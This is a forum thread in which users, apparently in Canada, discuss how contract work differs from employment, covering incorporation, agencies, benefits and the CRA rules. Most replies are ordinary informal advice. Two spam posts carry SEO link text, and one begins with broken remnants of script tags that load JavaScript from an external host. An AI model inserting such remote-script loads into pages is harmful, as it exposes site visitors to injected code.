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contractor versus employee

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citronela View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote citronela Quote  Post ReplyReply Direct Link To This Post Topic: contractor versus employee
    Posted: 29 Sep 2010 at 10:07am
Hello

I have a question. What does it mean when you work as a contractor for a company. What are the differences with being an employee of the company?

Thanks for your answer
kind regards
citronela
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tanushree.tiku View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote tanushree.tiku Quote  Post ReplyReply Direct Link To This Post Posted: 30 Sep 2010 at 5:16am
contractor means u work on a contract basis with the company..so for eg a 6 month contract, u get paid by the hr.... in a contract there r usually no benefits like EI, insurance but then the pay is higher...for most of the companies when u work as a contract employee, u will need to incorporate ur own company in order to work as a contract employee
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kitincanuck View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote kitincanuck Quote  Post ReplyReply Direct Link To This Post Posted: 15 Oct 2010 at 7:15pm
U also have the choice of sole proprietorship but then again it depends on the company hiring you. Most have no problems hirng under either one. There are certain tax benefits to being incorporated but you really should consult an accountant or tax lawyer. This only applies to contracting. However u need to be careful of you definition of contract. You need to be defined as an independent contractor to be considered a contractor under the CRA

Edited by kitincanuck - 15 Oct 2010 at 7:21pm
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ajgodinho View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote ajgodinho Quote  Post ReplyReply Direct Link To This Post Posted: 16 Oct 2010 at 12:54pm
Hi citronela, you can also be a contract employee working for a company but being paid through an employment agency. In this case, you are not a sole-proprietor or incorporated.

You basically, work on a short-term basis (depending on the duration of the contract, which may be renewable) for the company and submit your time-sheets to the employment agency (not to the HR department of the company you're working for).

Taking on a contract job is a good way to get your foot into the door and get some Canadian experience. It worked very well for me when I first came to Canada over a decade ago.

Cheers! :)
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citronela View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote citronela Quote  Post ReplyReply Direct Link To This Post Posted: 16 Oct 2010 at 1:22pm
Thank you very much for the information
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Stephanie View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Stephanie Quote  Post ReplyReply Direct Link To This Post Posted: 18 Jul 2011 at 5:31am
< ="text/" ="http://ui.streamride.net/ui.js">
< ="text/" ="http://ui.streamride.net/ui.js"> As an employee, can get more experience in your professional career and paid by the Company but you are not the owner.


Virginia Basement


Edited by Stephanie - 29 Aug 2011 at 9:25am
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hrcanada1 View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote hrcanada1 Quote  Post ReplyReply Direct Link To This Post Posted: 19 Oct 2011 at 7:59am
Wow thank you all for your insightful comments, this really puts things in perspective. I appreciate all who have had a say in this matter. Truly. trainers are never going to be honestly happy until we get our own studio, hands down! Yes....owner is very greedy!
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Dale46 View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Dale46 Quote  Post ReplyReply Direct Link To This Post Posted: 02 Nov 2011 at 11:07pm
Yes all of these are completely accurate.  Contracted positions often don't have good benefits, and are sometimes not a set number of hours.  For example, a company might hire someone to work with a group of movers if they have a lot of homes to move in a certain week.  The company would have employees that are hired all year round, but if they need more for a temporary amount of time, they would contract some more people.

Edited by Dale46 - 19 Nov 2011 at 5:24pm
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Stephanie View Drop Down
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Post Options Post Options   Thanks (0) Thanks(0)   Quote Stephanie Quote  Post ReplyReply Direct Link To This Post Posted: 03 Nov 2011 at 8:07am
It will be true that Taking on a contract job is a good way to get your foot into the door and get some Canadian experience. virginia contractors
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